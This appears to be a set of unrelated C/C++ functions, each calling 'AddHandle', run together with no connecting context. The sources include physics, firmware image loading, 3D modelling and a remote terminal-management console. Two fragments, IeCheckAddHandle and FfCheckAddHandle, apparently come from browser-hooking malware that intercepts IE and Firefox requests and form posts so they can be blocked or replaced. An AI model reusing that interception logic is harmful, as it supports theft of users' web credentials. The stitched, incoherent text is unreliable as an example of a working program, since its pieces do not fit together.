BroadphaseProxy* AxisSweep3::CreateProxy( const SimdVector3& min, const SimdVector3& max,int shapeType,void* userPtr,short int collisionFilterGroup,short int collisionFilterMask) { unsigned short handleId = AddHandle(min,max, userPtr,collisionFilterGroup,collisionFilterMask); Handle* handle = GetHandle(handleId); return handle; }
/** Loads the image using dlopen so symbols will be automatically loaded by gdb. @param ImageContext The PE/COFF image context @retval TRUE - The image was successfully loaded @retval FALSE - The image was successfully loaded **/ BOOLEAN DlLoadImage ( IN OUT PE_COFF_LOADER_IMAGE_CONTEXT *ImageContext ) { #ifdef __APPLE__ return FALSE; #else void *Handle = NULL; void *Entry = NULL; if (ImageContext->PdbPointer == NULL) { return FALSE; } if (!IsPdbFile (ImageContext->PdbPointer)) { return FALSE; } fprintf ( stderr, "Loading %s 0x%08lx - entry point 0x%08lx\n", ImageContext->PdbPointer, (unsigned long)ImageContext->ImageAddress, (unsigned long)ImageContext->EntryPoint ); Handle = dlopen (ImageContext->PdbPointer, RTLD_NOW); if (Handle != NULL) { Entry = dlsym (Handle, "_ModuleEntryPoint"); AddHandle (ImageContext, Handle); } else { printf("%s\n", dlerror()); } if (Entry != NULL) { ImageContext->EntryPoint = (UINTN)Entry; printf ("Change %s Entrypoint to :0x%08lx\n", ImageContext->PdbPointer, (unsigned long)Entry); return TRUE; } else { return FALSE; } #endif }
// // Checks if the specified request handle should be processed, and adds it into the Handle Table. // static PHANDLE_CONTEXT IeCheckAddHandle( HANDLE hRequest, // Handle to HTTP request LPSTR pReferer // HTTP referer string ) { PHANDLE_CONTEXT Ctx = NULL; PVOID tCtx = NULL; ULONG Status; if ((Status = IeCheckURL(hRequest, pReferer, &tCtx)) && Status != URL_STATUS_POST_BLOCK) { if (Ctx = AddHandle(hRequest)) { if (Ctx->Flags & CF_IE) { // Handle seems to be reused StreamClear(Ctx->pStream); if (Ctx->Url) hFree(Ctx->Url); if (Ctx->tCtx) { TransferReleaseContext(Ctx->tCtx); hFree(Ctx->tCtx); Ctx->tCtx = NULL; } // if (Ctx->tCtx) } // if (Ctx->Flags & CF_IE) Ctx->tCtx = tCtx; Ctx->Flags = CF_IE; if (Status == URL_STATUS_REPLACE) Ctx->Flags |= CF_REPLACE; if (Status == URL_STATUS_BLOCK) Ctx->Status = REQUEST_BLOCKED; else Ctx->Status = UNKNOWN_STATUS; Ctx->Url = NULL; } else { ASSERT(FALSE); } } // if (IeCheckURL(hRequest, tCtx)) return(Ctx); }
/*++ Routine Description: Store the ModHandle in an array indexed by the Pdb File name. The ModHandle is needed to unload the image. Arguments: ImageContext - Input data returned from PE Laoder Library. Used to find the .PDB file name of the PE Image. ModHandle - Returned from LoadLibraryEx() and stored for call to FreeLibrary(). Returns: EFI_SUCCESS - ModHandle was stored. **/ EFI_STATUS AddHandle ( IN PE_COFF_LOADER_IMAGE_CONTEXT *ImageContext, IN VOID *ModHandle ) { UINTN Index; IMAGE_CONTEXT_TO_MOD_HANDLE *Array; UINTN PreviousSize; Array = mImageContextModHandleArray; for (Index = 0; Index < mImageContextModHandleArraySize; Index++, Array++) { if (Array->ImageContext == NULL) { // // Make a copy of the stirng and store the ModHandle // Array->ImageContext = ImageContext; Array->ModHandle = ModHandle; return EFI_SUCCESS; } } // // No free space in mImageContextModHandleArray so grow it by // IMAGE_CONTEXT_TO_MOD_HANDLE entires. realloc will // copy the old values to the new locaiton. But it does // not zero the new memory area. // PreviousSize = mImageContextModHandleArraySize * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE); mImageContextModHandleArraySize += MAX_IMAGE_CONTEXT_TO_MOD_HANDLE_ARRAY_SIZE; mImageContextModHandleArray = ReallocatePool ( (mImageContextModHandleArraySize - 1) * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE), mImageContextModHandleArraySize * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE), mImageContextModHandleArray ); if (mImageContextModHandleArray == NULL) { ASSERT (FALSE); return EFI_OUT_OF_RESOURCES; } memset (mImageContextModHandleArray + PreviousSize, 0, MAX_IMAGE_CONTEXT_TO_MOD_HANDLE_ARRAY_SIZE * sizeof (IMAGE_CONTEXT_TO_MOD_HANDLE)); return AddHandle (ImageContext, ModHandle); }
void ConeDistanceManipulator::Transform(TimeValue t, Point3& p, ViewExp* pVpt) { Ray viewRay; // The viewing vector in local coords IPoint2 screenPt = GetMousePos(); pVpt->MapScreenToWorldRay((float)screenPt.x, (float)screenPt.y, viewRay); Matrix3 tm; tm = mpINode->GetObjectTM(t); // Transform view ray to local coords tm = Inverse(tm); viewRay.p = viewRay.p * tm; tm.SetTrans(Point3(0,0,0)); viewRay.dir = viewRay.dir * tm; Point3 orthogViewDir = viewRay.dir; orthogViewDir.z = 0.0; // Plane& projPlane = Plane::msXZPlane.MostOrthogonal(viewRay, Plane::msYZPlane); Plane projPlane(orthogViewDir, mDistance * mDirection); Point3 newP; bool b = projPlane.Intersect(viewRay, newP); if (!b) return; float newDist = -newP.z; SetDistance(newDist); // Add a "handle" Point3 center(0.0f, 0.0f, -newDist); Plane conePlane(mDirection, center); bool res = conePlane.Intersect(viewRay, newP); if (!res) return; AddHandle(center, newP, pVpt); }
// // Queries and checks specified request's URL. Creates a HANDLE_CONTEXT if the URL matches config settings. // static PHANDLE_CONTEXT FfCheckAddHandle( HANDLE Handle, // handle of a HTTP request to check PHTTP_HEADERS Headers, // pointer to HTTP_HEADERS structure for the specfied request ULONG Flags, // a combination of CF_XXX flags BOOL IsSsl // TRUE if this is an SSL connection ) { PHANDLE_CONTEXT Ctx = NULL; ULONG Status; PVOID tCtx = NULL; LPSTR Referer = NULL; ASSERT_HTTP_HEADERS(Headers); ASSERT(Headers->Url); // Looking for referer header if (Headers->pReferer && Headers->RefererSize) { // Allocating and copying referer string if (Referer = hAlloc(Headers->RefererSize + sizeof(CHAR))) { memcpy(Referer, Headers->pReferer, Headers->RefererSize); Referer[Headers->RefererSize] = 0; } } Status = ConfigCheckInitUrl(Headers->Url, Referer, IsSsl, &tCtx); if ((Status || (Flags & CF_FORM)) && (Status != URL_STATUS_POST_BLOCK) && (Ctx = AddHandle(Handle))) { // Saving the URL for future use if (Ctx->Url) { // Handle seems to be reused, releasing URL hFree(Ctx->Url); Ctx->cTotal = 0; Ctx->cActive = 0; Ctx->Flags = Flags; } else { ASSERT(Ctx->Flags == 0); } if (Ctx->tCtx) { TransferReleaseContext(Ctx->tCtx); hFree(Ctx->tCtx); Ctx->tCtx = NULL; } Ctx->tCtx = tCtx; Ctx->Url = Headers->Url; if (Status == URL_STATUS_REPLACE) Ctx->Flags |= CF_REPLACE; else if (Status == URL_STATUS_BLOCK) Ctx->Status = REQUEST_BLOCKED; else { if (Status == URL_STATUS_UNDEF) { ASSERT(Flags & CF_FORM); Ctx->Flags = CF_FORM; } Ctx->Status = UNKNOWN_STATUS; } Headers->Url = NULL; } // if ((Status || (Flags & CF_FORM)) && (Ctx = AddHandle(Handle))) if (Referer) hFree(Referer); return(Ctx); }
void CCommandProcessor::AddHandles() { AddHandle(S_RESPOND_COMPUT_LIST, &CCommandProcessor::OnGetComputerList); AddHandle(S_RESPOND_LOGIN_SUCCEED, &CCommandProcessor::OnLogin); AddHandle(S_RESPOND_CLIENT_LOGIN, &CCommandProcessor::OnClientLogin); AddHandle(S_RESPOND_CLIENT_DISCONNECT, &CCommandProcessor::OnClientDisconnect); AddHandle(S_RESPOND_CLIENT_UPDATEDATA, &CCommandProcessor::OnClientUpdateData); AddHandle(S_RESPOND_CLIENT_CHECKOUT, &CCommandProcessor::OnClientCheckout); AddHandle(S_RESPOND_MAN_CHECKIN, &CCommandProcessor::OnCheckinResp); AddHandle(S_RESPOND_QUESTION_COMPUTER, &CCommandProcessor::OnQuestionComputer); AddHandle(C_MANAGER_GET_COMPUTER_COUNT, &CCommandProcessor::OnGetComputerCount); AddHandle(C_MANAGER_GET_PCCLASSMAP, &CCommandProcessor::OnTermIDPCClassMap); AddHandle(C_MANGER_MANUALUNLOCAL, &CCommandProcessor::OnTermUnLock); AddHandle(S_RESPOND_CLIENT_SHORTMESSAGE,&CCommandProcessor::OnClientShortMessage); AddHandle(S_RESPOND_MAN_SHORTMSG, &CCommandProcessor::OnSendShortMsgResp); AddHandle(S_RESPOND_CAPTURE_SCREEN, &CCommandProcessor::OnRespondCaptureScreen); AddHandle(S_RESPOND_GET_LOG, &CCommandProcessor::OnRespondGetLog); AddHandle(S_RESPOND_PING_CLIENT, &CCommandProcessor::OnPingClientResp); AddHandle(S_NEWNOTICE_MSG, &CCommandProcessor::OnGetNewNotice); //AddHandle(S_RESPOND_PONG, &CCommandProcessor::OnPing); //AddHandle(C_MANAGER_GET_PCCLASSNAME, &CCommandProcessor::OnGetPCClassName); //AddHandle(S_RESPOND_CHECK_MANAGER_PASSWORD, &CCommandProcessor::OnCheckManagerPwdResp); //AddHandle(S_RESPOND_SET_MANAGER_PASSWORD, &CCommandProcessor::OnSetManagerPwdResp); //AddHandle(S_RESPOND_GET_MEMBER_CLASSES, &CCommandProcessor::OnGetMemberClassesResp); //AddHandle(C_MANAGER_QUESTIIOIN_AMOUNT, &CCommandProcessor::OnQuestionAmount); //AddHandle(C_MANAGER_GET_IP2TERMID, &CCommandProcessor::OnGetIP2TermID); AddHandle(S_AUTO_RETURN_MSG, &CCommandProcessor::OnAutoReturnResp); }